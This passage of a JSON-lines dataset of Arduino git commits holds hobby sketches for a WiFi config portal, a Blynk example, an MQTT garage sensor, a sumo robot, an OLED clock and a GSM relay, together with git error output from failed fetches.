(WiFi.status()!=WL_CONNECTED){\n Serial.println(\"failed to connect, finnishing setup anyway\");\n }\n}\n\n\nvoid loop() {\n \/\/ is configuration portal requested?\n if ( (digitalRead(TRIGGER_PIN) == LOW) || (digitalRead(TRIGGER_PIN2) == LOW)) {\n Serial.println(\"Configuration portal requested.\");\n digitalWrite(PIN_LED, LOW); \/\/ turn the LED on by making the voltage LOW to tell us we are in configuration mode.\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n WiFiManager wifiManager;\n\n \/\/reset settings - for testing\n \/\/wifiManager.resetSettings();\n\n \/\/sets timeout until configuration portal gets turned off\n \/\/useful to make it all retry or go to sleep\n \/\/in seconds\n wifiManager.setConfigPortalTimeout(120);\n\n \/\/it starts an access point with the specified name\n \/\/here \"AutoConnectAP\"\n \/\/and goes into a blocking loop awaiting configuration\n\n \/\/WITHOUT THIS THE AP DOES NOT SEEM TO WORK PROPERLY WITH SDK 1.5 , update to at least 1.5.1\n \/\/WiFi.mode(WIFI_STA);\n \n if (!wifiManager.startConfigPortal()) {\n Serial.println(\"Hit ConfigPortal timeout. Continue with existing credentials\");\n } else {\n \/\/if you get here you have connected to the WiFi\n Serial.println(\"connected...yeey :)\");\n }\n digitalWrite(PIN_LED, HIGH); \/\/ Turn led off as we are not in configuration mode.\n }\n\n\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ConfigOnSwitch\/ConfigOnSwitch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6fe2dee0982bac689fb9f71eb00442d2f57cb079","subject":"redBoard","message":"redBoard\n","repos":"DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge","old_file":"redBoard\/YPOD_firmware\/YPOD_firmware.ino","new_file":"redBoard\/YPOD_firmware\/YPOD_firmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DrewMeyersCUboulder\/UPOD_Bridge.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"840eaf68f51f752676fbb03e98a6edadb7b267e0","subject":"Included another example","message":"Included another example\n","repos":"Phrosten\/ArduinoSonar","old_file":"examples\/Sonar_ButtonInput\/Sonar_ButtonInput.ino","new_file":"examples\/Sonar_ButtonInput\/Sonar_ButtonInput.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Phrosten\/ArduinoSonar.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c3ee4ea5b123105c080d0b7a45398bdce132c61d","subject":"Update Esp8266_standalone.ino","message":"Update Esp8266_standalone.ino","repos":"CedricFinance\/blynk-library,sstocker46\/blynk-library,flashvnn\/blynk-library,sstocker46\/blynk-library,CedricFinance\/blynk-library,johan--\/blynk-library,flashvnn\/blynk-library,al1271\/blynk-library,flashvnn\/blynk-library,csicar\/blynk-library,csicar\/blynk-library,radut\/blynk-library,radut\/blynk-library,sstocker46\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,okhiroyuki\/blynk-library,ivankravets\/blynk-library,al1271\/blynk-library,okhiroyuki\/blynk-library,blynkkk\/blynk-library,johan--\/blynk-library,ivankravets\/blynk-library,flashvnn\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,CedricFinance\/blynk-library,okhiroyuki\/blynk-library,okhiroyuki\/blynk-library,al1271\/blynk-library,ivankravets\/blynk-library,johan--\/blynk-library,ivankravets\/blynk-library,csicar\/blynk-library,ivankravets\/blynk-library,johan--\/blynk-library,radut\/blynk-library,blynkkk\/blynk-library,al1271\/blynk-library,blynkkk\/blynk-library,radut\/blynk-library,csicar\/blynk-library","old_file":"examples\/Transports\/Esp8266_standalone\/Esp8266_standalone.ino","new_file":"examples\/Transports\/Esp8266_standalone\/Esp8266_standalone.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social groups: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example runs directly on ESSP8266 chip.\n * Download this IDE for Esp8266 development:\n * https:\/\/github.com\/esp8266\/Arduino\n *\n * Change WiFi ssid, pass, and Blynk auth token to run :)\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth, \"ssid\", \"pass\");\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social groups: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example runs directly on ESSP8266 chip.\n * Download this IDE for Esp8266 development:\n * https:\/\/github.com\/esp8266\/Arduino\n *\n * Change WiFi ssid, pass, and Blynk auth token to run :)\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth, \"ssid\", \"pass\", WLAN_SEC_WPA2);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"6fc51817457414eb0b016e6839d37e2a1d02e56b","subject":"Acrescenta pasta para c\u00f3digo do arduino e arquivo com c\u00f3digo da primeira prova para servir de consulta.","message":"Acrescenta pasta para c\u00f3digo do arduino e arquivo com c\u00f3digo da primeira prova para servir de consulta.\n","repos":"brunosavyofs\/casa_inteligente","old_file":"arduino\/prova.ino","new_file":"arduino\/prova.ino","new_contents":"\/\/ Carrega a biblioteca do sensor ultrassonico\n#include <Ultrasonic.h>\n\n\/\/ Carrega bibliotecas para a shield ethernet\n#include <SPI.h>\n#include <Ethernet.h>\n#include <PubSubClient.h>\n\n\/\/ Carrega biblioteca para economia de energia\n#include <Narcoleptic.h>\n\n\/\/ Define os pinos para o trigger e echo\n#define PINO_TRIGGER 4\n#define PINO_ECHO 5\n#define LED_VERMELHO 8\n#define LED_VERDE 9\n\n\/\/ Endereco MAC da shield ethernet\nbyte mac[] = {\n 0x64, 0x1c, 0x67, 0x79, 0xc5, 0xb3\n};\nbool ocupado = true;\nIPAddress ip(10, 30, 2, 226);\nIPAddress server(10, 30, 2, 127);\nEthernetClient ethClient;\nPubSubClient client(ethClient);\n\n\/\/ Inicializa o sensor nos pinos definidos acima\nUltrasonic ultrasonic(PINO_TRIGGER, PINO_ECHO);\n\n\/\/ Metodo para conexao com o broker\nvoid reconnect()\n{\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n if (client.connect(\"garagem\", \"m\", \"m\"))\n {\n Serial.println(\"connected\");\n }\n else\n {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n delay(5000); \/\/ Wait 5 seconds before retrying\n }\n }\n}\n \nvoid setup()\n{\n Serial.begin(9600);\n pinMode(LED_VERMELHO,OUTPUT);\n pinMode(LED_VERDE,OUTPUT);\n\n Narcoleptic.disableTimer1();\n Narcoleptic.disableTimer2();\n\/\/ Narcoleptic.disableSerial();\n Narcoleptic.disableADC();\n Narcoleptic.disableWire();\n\/\/ Narcoleptic.disableSPI();\n\n \/\/ Inicializa conexao Ethernet\n if (Ethernet.begin(mac) == 0)\n {\n Serial.println(\"Failed to configure Ethernet using DHCP\");\n for (;;);\n }\n \n \/\/ print your local IP address:\n printIPAddress();\n\n client.setServer(server, 8883);\n}\n \nvoid loop()\n{\n if (!client.connected())\n {\n reconnect();\n }\n client.loop();\n \n \/\/ Le as informacoes do sensor, em cm e pol\n float cmMsec;\n long microsec = ultrasonic.timing();\n cmMsec = ultrasonic.convert(microsec, Ultrasonic::CM);\n\n if(cmMsec > 10)\n {\n if(ocupado) controlarLeds(LOW, HIGH); \n }\n else\n {\n if(!ocupado) controlarLeds(HIGH, LOW);\n }\n\n\/\/ delay(1000);\n\n Narcoleptic.delay(500); \/\/ During this time power consumption is minimised\n}\n\nvoid controlarLeds(int vermelho, int verde)\n{\n ocupado = !ocupado;\n digitalWrite(LED_VERDE,verde);\n digitalWrite(LED_VERMELHO,vermelho);\n client.publish(\"casa\/garagem\/situacao\", ocupado ? \"1\" : \"0\");\n}\n\nvoid printIPAddress()\n{\n Serial.print(\"My IP address: \");\n for (byte thisByte = 0; thisByte < 4; thisByte++)\n {\n Serial.print(Ethernet.localIP()[thisByte], DEC);\n Serial.print(\".\");\n }\n Serial.println();\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/prova.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8d9ccc104bf08e42ed2ec7ccf5182a20d675aed2","subject":"new way to handle movement instructions and some debugging","message":"new way to handle movement instructions and some debugging\n","repos":"simplyellow\/auto-sumo","old_file":"v2\/06oct\/06oct.ino","new_file":"v2\/06oct\/06oct.ino","new_contents":"\/*\nSharpDistSensorBasic.ino\nSource: https:\/\/github.com\/DrGFreeman\/SharpDistSensor\nMIT License\nCopyright (c) 2017 Julien de la Bruere-Terreault <drgfreeman@tuta.io>\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n\/*\nThis example shows how to use the SharpDistSensor library to continuously\nread the sensor and display the analog value and the corrseponding distance\nin mm.\nThe library default values corresponding to the Sharp GP2Y0A60SZLF 5V sensor\nare used.\nSee the library README for how to use pre-defined sensor models or custom\nfit functions.\n*\/\n\n#include <SharpDistSensor.h>\n\n\/\/ Analog pin to which the sensor is connected\nconst byte sensorPin = A0; \/\/right IR sensor\nconst byte sensorPin2 = A1; \/\/left IR sensor\nconst byte backleft = A6; \/\/back-left line sensor\nconst byte backright = A7; \/\/back-right line sensor\nconst byte frontright = A2; \/\/front-left line sensor\nconst byte frontleft = A3; \/\/front-right line sensor\nconst byte sensorPin4 = A4; \/\/A4: left peripheral sensor\nconst byte sensorPin3 = A5;\/\/A5: right peripheral sensor\n\n\/\/ Window size of the median filter (odd number, 1 = no filtering)\nconst byte mediumFilterWindowSize = 5;\nint rightDist; \/\/distance from right sensor\nint leftDist; \/\/distance from left sensor\nint perRightDist; \/\/distance from peripheral right sensor\nint perLeftDist; \/\/distance from peripheral left sensor\n\n\/\/ Create an object instance of the SharpDistSensor class\nSharpDistSensor sensor(sensorPin, mediumFilterWindowSize); \/\/right sensor\nSharpDistSensor sensor2(sensorPin2, mediumFilterWindowSize); \/\/left sensor\nSharpDistSensor sideright(sensorPin3, mediumFilterWindowSize); \/\/right peripheral sensor\nSharpDistSensor sideleft(sensorPin4, mediumFilterWindowSize); \/\/left peripheral sensor\nint STBY = 10; \/\/standby\n\n\/\/Right Motor (? I'm not too sure about this)\nint PWMA = 3; \/\/Speed control\nint AIN1 = 9; \/\/Direction\nint AIN2 = 8; \/\/Direction\n\n\/\/Left Motor (? also not too sure about this)\nint PWMB = 5; \/\/Speed control\nint BIN1 = 11; \/\/Direction\nint BIN2 = 12; \/\/Direction\n\nchar past; \/\/what direction the robot was moving previously\nint count; \/\/counter for how long before the rebot gives up searching in one direction\nint threshold; \/\/threshold for line sensors\nint prevIR;\nint cur;\nint prevFlag;\nint prevLine;\nshort iter;\nint state;\nint rangeThresh;\nboolean start;\nint lineFlag;\nboolean pivotFlag;\n\nint near = 200;\nint far = 500;\nint degreesMin = 20;\nint degrees90 = 50;\nint degrees180 = 100;\nint dist = 150;\nint maxS = 128;\nint minS = 20;\nint startSpinR = 1000;\nint startTurnL = 2000;\nint startSpinL = 1000;\nint pivotBack = 500;\nint pivotSpinR = 1000;\nint pivotTurnL = 1000;\nint pivotSpinL = 1000;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(STBY, OUTPUT);\n\n pinMode(PWMA, OUTPUT);\n pinMode(AIN1, OUTPUT);\n pinMode(AIN2, OUTPUT);\n\n pinMode(PWMB, OUTPUT);\n pinMode(BIN1, OUTPUT);\n pinMode(BIN2, OUTPUT);\n\n \/\/initialising values\n past = 'f'; \/\/set default move to forward\n start = true; \/\/set startup flag\n count = 0;\n iter = 0;\n threshold = analogRead(backleft) - 200;\n rightDist = sensor.getDist();\n leftDist = sensor2.getDist();\n perRightDist = sideright.getDist();\n perLeftDist = sideleft.getDist();\n prevLine = millis();\n prevIR = prevLine;\n lineFlag = 0;\n pivotFlag = true;\n prevFlag = prevLine;\n state = 11;\n}\n\nvoid loop() {\n cur = millis();\n movement(state);\n\n \/\/print out values from sensors and motors to the console\n Serial.print(past);\n Serial.print(\", \");\n Serial.print(rightDist);\n Serial.print(\", \");\n Serial.print(leftDist);\n Serial.print(\", \");\n Serial.print(perRightDist);\n Serial.print(\", \");\n Serial.print(perLeftDist);\n Serial.print(\", \");\n Serial.print(analogRead(backleft));\n Serial.print(\", \");\n Serial.print(analogRead(backright));\n Serial.print(\", \");\n Serial.print(analogRead(frontleft));\n Serial.print(\", \");\n Serial.println(analogRead(frontright));\n Serial.print(\", \");\n Serial.println(cur - prevLine);\n\n if ((cur - prevLine) >= 5) {\n prevLine = cur;\n if (analogRead(backleft) < threshold || analogRead(backright) < threshold && lineFlag != 1) { \/\/first read from line sensors before doing anything else\n \/\/if line detected by back line sensors, turn left a bit\n state = 0;\n lineFlag = 1;\n prevFlag = cur;\n pivotFlag = false;\n } else if (analogRead(frontleft) < threshold && past == 'l' && lineFlag != 2) {\n state = 6;\n lineFlag = 2;\n prevFlag = cur;\n pivotFlag = false;\n } else if (analogRead(frontleft) < threshold && past == 'r' || analogRead(frontleft) < threshold && past == 'f' && lineFlag != 3) {\n state = 7;\n lineFlag = 3;\n prevFlag = cur;\n pivotFlag = false;\n } else if (analogRead(frontright) < threshold && past == 'l' && lineFlag != 4) {\n state = 8;\n lineFlag = 4;\n prevFlag = cur;\n pivotFlag = false;\n } else if (analogRead(frontright) < threshold && past == 'r' || analogRead(frontright) < threshold && past == 'f' && lineFlag != 5) {\n state = 9;\n lineFlag = 5;\n prevFlag = cur;\n pivotFlag = false;\n } else if (analogRead(frontright) < threshold && analogRead(frontleft) < threshold && lineFlag != 6) {\n state = 10;\n lineFlag = 6;\n prevFlag = cur;\n pivotFlag = false;\n } else if ((cur - prevIR) >= 25) {\n prevIR = cur;\n \/\/ Get distance from sensors\n rightDist = sensor.getDist();\n leftDist = sensor2.getDist();\n perRightDist = sideright.getDist();\n perLeftDist = sideleft.getDist();\n\n \/\/attack code with sensors\n\n if (!pivotFlag) {\n \/\/other attack cases\n\n if (perLeftDist <= near) {\n \/\/if there is an object within nearmm of the left peripheral sensor, move left\n \/\/turn left in place\n state = 4;\n past = 'l'; \/\/set past movement to left\n count = 0; \/\/reset abandon search count because the robot has found an object\n } else if (perRightDist <= near) {\n \/\/if there is an object within nearmm of the right peripheral sensor, move right\n \/\/turn right in place\n state = 5;\n past = 'r'; \/\/set past movement to left\n count = 0; \/\/reset abandon search count because the robot has found an object\n } else if (perRightDist <= near && perLeftDist <= near) {\n \/\/if there is an object within nearmm of both peripheral sensors, move forward\n state = 0;\n past = 'f'; \/\/set past movement to left\n count = 0; \/\/reset abandon search count because the robot has found an object\n } else if (lineFlag == 0) {\n if ((abs(rightDist - leftDist) <= 150)\n || ((past == 'f' || count >= 100) && (rightDist > far && leftDist > far && perRightDist > far && perLeftDist > far))) {\n \/\/if (robot moved forward in the past OR it's been searching for 100 iterations) AND (there isn't an object within far of any IR sensor))\n \/\/OR there is an object within near of both sensors\n \/\/OR the difference between the two distances measured by the IR sensors is within 150mm of each other\n \/\/move forward\n state = 0;\n past = 'f'; \/\/set past movement to forward\n count = 0; \/\/reset abandon search count\n } else if ((leftDist <= far || perLeftDist <= far) || leftDist - rightDist < -dist) {\n \/\/if there is an object beyond farmm of the right sensors (i.e. there is something closer in the left sensors), move left\n state = 2;\n past = 'l'; \/\/set past movement to left\n count = 0; \/\/reset abandon search count because the robot has found an object\n } else if ((rightDist <= far || perRightDist <= far) || leftDist - rightDist > dist) {\n \/\/if there is an object beyond farmm of the left sensors (i.e. there is something closer in the right sensors), move right\n state = 3;\n past = 'r'; \/\/set past movement to right\n count = 0; \/\/reset abandon search count because the robot has found an object\n } else if (past == 'l') {\n \/\/if robot has been moving left in the past, move left more\n state = 2;\n past = 'l'; \/\/set past movement to left\n count++; \/\/increment abandon search count\n } else if (past == 'r') {\n \/\/if robot has been moving right in the past, move right\n state = 3;\n past = 'r'; \/\/set past movement to right\n count++; \/\/increment abandon search count\n }\n }\n\n\n\/\/ } else if (past == 'l' && (rightDist > far && leftDist > far && perRightDist > far && perLeftDist > far)) {\n\/\/ \/\/if robot has been moving left in the past, move left more\n\/\/ left();\n\/\/ past = 'l'; \/\/set past movement to left\n\/\/ count++; \/\/increment abandon search count\n\/\/ } else if (past == 'r' && (rightDist > far && leftDist > far && perRightDist > far && perLeftDist > far)) {\n\/\/ \/\/if robot has been moving right in the past, move right\n\/\/ right();\n\/\/ past = 'r'; \/\/set past movement to right\n\/\/ count++; \/\/increment abandon search count\n\/\/ }\n }\n }\n }\n}\n\nvoid move(int motor, int speed, int direction){\n \/\/Move specific motor at speed and direction\n \/\/motor: 1 for right, 2 for left\n \/\/speed: 0 is off, and 255 is full speed\n \/\/direction: 0 clockwise, 1 counter-clockwise\n\n digitalWrite(STBY, HIGH); \/\/disable standby\n\n boolean inPin1 = LOW;\n boolean inPin2 = HIGH;\n\n if(direction == 1){\n inPin1 = HIGH;\n inPin2 = LOW;\n }\n\n if(motor == 1){\n digitalWrite(AIN1, inPin1);\n digitalWrite(AIN2, inPin2);\n analogWrite(PWMA, speed);\n } else {\n digitalWrite(BIN1, inPin1);\n digitalWrite(BIN2, inPin2);\n analogWrite(PWMB, speed);\n }\n}\n\nvoid stop(){\n \/\/enable standby\n digitalWrite(STBY, LOW);\n}\n\nvoid movement(int state) {\n switch (state) {\n case 0: \/\/forward\n move(1, maxS, 1); \/\/right, full speed, counter clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n break;\n case 1: \/\/attack\n move(1, 255, 1); \/\/right, full speed, counter clockwise\n move(2, 255, 0); \/\/left, full speed, clockwise\n break;\n case 2: \/\/left\n move(1, minS, 1); \/\/right, min speed, counter clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n break;\n case 3: \/\/right\n move(1, maxS, 1); \/\/right, full speed, counter clockwise\n move(2, minS, 0); \/\/left, full speed, clockwise\n break;\n case 4: \/\/left in place\n move(1, maxS, 0); \/\/right, full speed, clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n break;\n case 5: \/\/right in place\n move(1, maxS, 1); \/\/right, full speed, counter clockwise\n move(2, maxS, 1); \/\/left, full speed, counter clockwise\n break;\n case 6: \/\/back right and left\n if (cur - prevFlag < degreesMin) {\n move(1, maxS, 0); \/\/right, full speed, counter clockwise\n move(2, minS, 1); \/\/left, full speed, clockwise\n } else if (cur - prevFlag < degrees90) {\n move(1, maxS, 0); \/\/right, full speed, clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n } else {\n lineFlag = 0;\n }\n break;\n case 7: \/\/back right and right\n if (cur - prevFlag < degreesMin) {\n move(1, maxS, 0); \/\/right, full speed, counter clockwise\n move(2, minS, 1); \/\/left, full speed, clockwise\n } else if (cur - prevFlag < degrees90) {\n move(1, maxS, 1); \/\/right, full speed, counter clockwise\n move(2, maxS, 1); \/\/left, full speed, counter clockwise\n } else {\n lineFlag = 0;\n }\n break;\n case 8: \/\/back left and right\n if (cur - prevFlag < degreesMin) {\n move(1, minS, 0); \/\/right, min speed, counter clockwise\n move(2, maxS, 1); \/\/left, full speed, clockwise\n } else if (cur - prevFlag < degrees90) {\n move(1, maxS, 1); \/\/right, full speed, counter clockwise\n move(2, maxS, 1); \/\/left, full speed, counter clockwise\n } else {\n lineFlag = 0;\n }\n break;\n case 9: \/\/back left and left\n if (cur - prevFlag < degreesMin) {\n move(1, minS, 0); \/\/right, min speed, counter clockwise\n move(2, maxS, 1); \/\/left, full speed, clockwise\n } else if (cur - prevFlag < degrees90) {\n move(1, maxS, 0); \/\/right, full speed, clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n } else {\n lineFlag = 0;\n }\n break;\n case 10: \/\/back and spin 180\n if (cur - prevFlag < degreesMin) {\n move(1, maxS, 0); \/\/right, full speed, clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n } else if (cur - prevFlag < degrees180) {\n move(1, maxS, 0); \/\/right, full speed, clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n } else {\n lineFlag = 0;\n }\n break;\n case 11: \/\/startup movement: spin right, turn left, spin left\n if (cur - prevFlag < startSpinR) {\n move(1, maxS, 1); \/\/right, full speed, counter clockwise\n move(2, maxS, 1); \/\/left, full speed, counter clockwise\n } else if (cur - prevFlag < startTurnL) {\n move(1, minS, 1); \/\/right, min speed, counter clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n } else if (cur - prevFlag < startSpinL) {\n move(1, maxS, 0); \/\/right, full speed, clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n } else {\n past = 'f';\n pivotFlag = false;\n }\n break;\n case 12: \/\/pivot:\n if (cur - prevFlag < pivotBack) {\n move(1, maxS, 0); \/\/right, full speed, clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n } else if (cur - prevFlag < pivotSpinR) {\n move(1, maxS, 1); \/\/right, full speed, counter clockwise\n move(2, maxS, 1); \/\/left, full speed, counter clockwise\n } else if (cur - prevFlag < pivotTurnL) {\n move(1, minS, 1); \/\/right, min speed, counter clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n } else if (cur - prevFlag < pivotSpinL) {\n move(1, maxS, 0); \/\/right, full speed, clockwise\n move(2, maxS, 0); \/\/left, full speed, clockwise\n } else {\n past = 'f';\n pivotFlag = false;\n }\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'v2\/06oct\/06oct.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cbccaaa64e0d2a2be0dfd3bfb5a0c8ff519f9fe8","subject":"Clock example is added","message":"Clock example is added\n","repos":"lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306","old_file":"examples\/direct_draw\/clock\/clock.ino","new_file":"examples\/direct_draw\/clock\/clock.ino","new_contents":"\/*\n MIT License\n\n Copyright (c) 2018, Alexey Dynda\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n*\/\n\/**\n * Attiny85 PINS\n * ____\n * RESET -|_| |- 3V\n * SCL (3) -| |- (2)\n * SDA (4) -| |- (1)\n * GND -|____|- (0)\n *\n * Atmega328 PINS: connect LCD to A4\/A5\n *\/\n\n#include \"ssd1306.h\"\n\nuint32_t lastMillis;\nuint8_t hours = 10;\nuint8_t minutes = 35;\nuint8_t seconds = 0;\n\nvoid printSeconds()\n{\n if (seconds & 1)\n {\n ssd1306_printFixed(54, 8, \":\", STYLE_NORMAL);\n }\n else\n {\n ssd1306_printFixed(54, 8, \" \", STYLE_NORMAL);\n }\n}\n\nvoid printMinutes()\n{\n char minutesStr[3] = \"00\";\n minutesStr[0] = '0' + minutes \/ 10;\n minutesStr[1] = '0' + minutes % 10;\n ssd1306_printFixed(78, 8, minutesStr, STYLE_NORMAL);\n}\n\nvoid printHours()\n{\n char hoursStr[3] = \"00\";\n hoursStr[0] = '0' + hours \/ 10;\n hoursStr[1] = '0' + hours % 10;\n ssd1306_printFixed(6, 8, hoursStr, STYLE_NORMAL);\n}\n\nvoid setup() {\n \/* Replace the line below with ssd1306_128x32_i2c_init() if you need to use 128x32 display *\/\n ssd1306_128x64_i2c_init();\n ssd1306_fillScreen(0x00);\n ssd1306_setFixedFont(comic_sans_font24x32_123);\n lastMillis = millis();\n printHours();\n printMinutes();\n}\n\nvoid loop()\n{\n if ((uint32_t)(millis() - lastMillis) >= 1000)\n {\n lastMillis += 1000;\n if (++seconds > 59)\n {\n seconds = 0;\n if (++minutes > 59)\n {\n minutes = 0;\n if (++hours > 23)\n {\n hours = 0;\n }\n printHours();\n }\n printMinutes();\n }\n printSeconds();\n }\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/direct_draw\/clock\/clock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"21fee66d1ccf5611c2fb7f95799e6d361a8ee090","subject":"Programmering opgave 2 lektion 3 opryddet","message":"Programmering opgave 2 lektion 3 opryddet\n","repos":"drblah\/RoboCup,drblah\/RoboCup","old_file":"Programmerings opgaver\/Opgave02_opryddet\/Opgave02_opryddet.ino","new_file":"Programmerings opgaver\/Opgave02_opryddet\/Opgave02_opryddet.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programmerings' did not match any file(s) known to git\nerror: pathspec 'opgaver\/Opgave02_opryddet\/Opgave02_opryddet.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e293346ffee9accd23103fbaaf9e7c00fcaab111","subject":"adding relay sample sketch","message":"adding relay sample sketch\n","repos":"udarakr\/sketches,udarakr\/sketches,udarakr\/sketches","old_file":"switch_ino\/switch_ino.ino","new_file":"switch_ino\/switch_ino.ino","new_contents":"char inchar; \/\/Will hold the incoming character from the Serial Port.\n\n\n int led1 = 8;\n int led2 = 9;\n int relay1=7;\n int relay2=6;\n void setup()\n {\n \/\/ prepare the digital output pins\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n digitalWrite(led1, LOW);\n digitalWrite(led2, LOW);\n Serial.begin(9600);\n pinMode(relay1, OUTPUT);\n pinMode(relay2, OUTPUT);\n digitalWrite(7,HIGH);\n digitalWrite(6,HIGH);\n Serial.print(\"pin state low\\n\");\n delay(3000); \/\/ give time for GSM module to register on network.\n Serial.println(\"AT+CMGF=1\"); \/\/ set SMS mode to text\n delay(200);\n Serial.println(\"AT+CNMI=2,2,0,0,0\"); \/\/ set module to send SMS data to serial out upon receipt \n delay(200);\n }\n void loop() \n {\n\n if(Serial.available() >0)\n {\n inchar=Serial.read(); \n 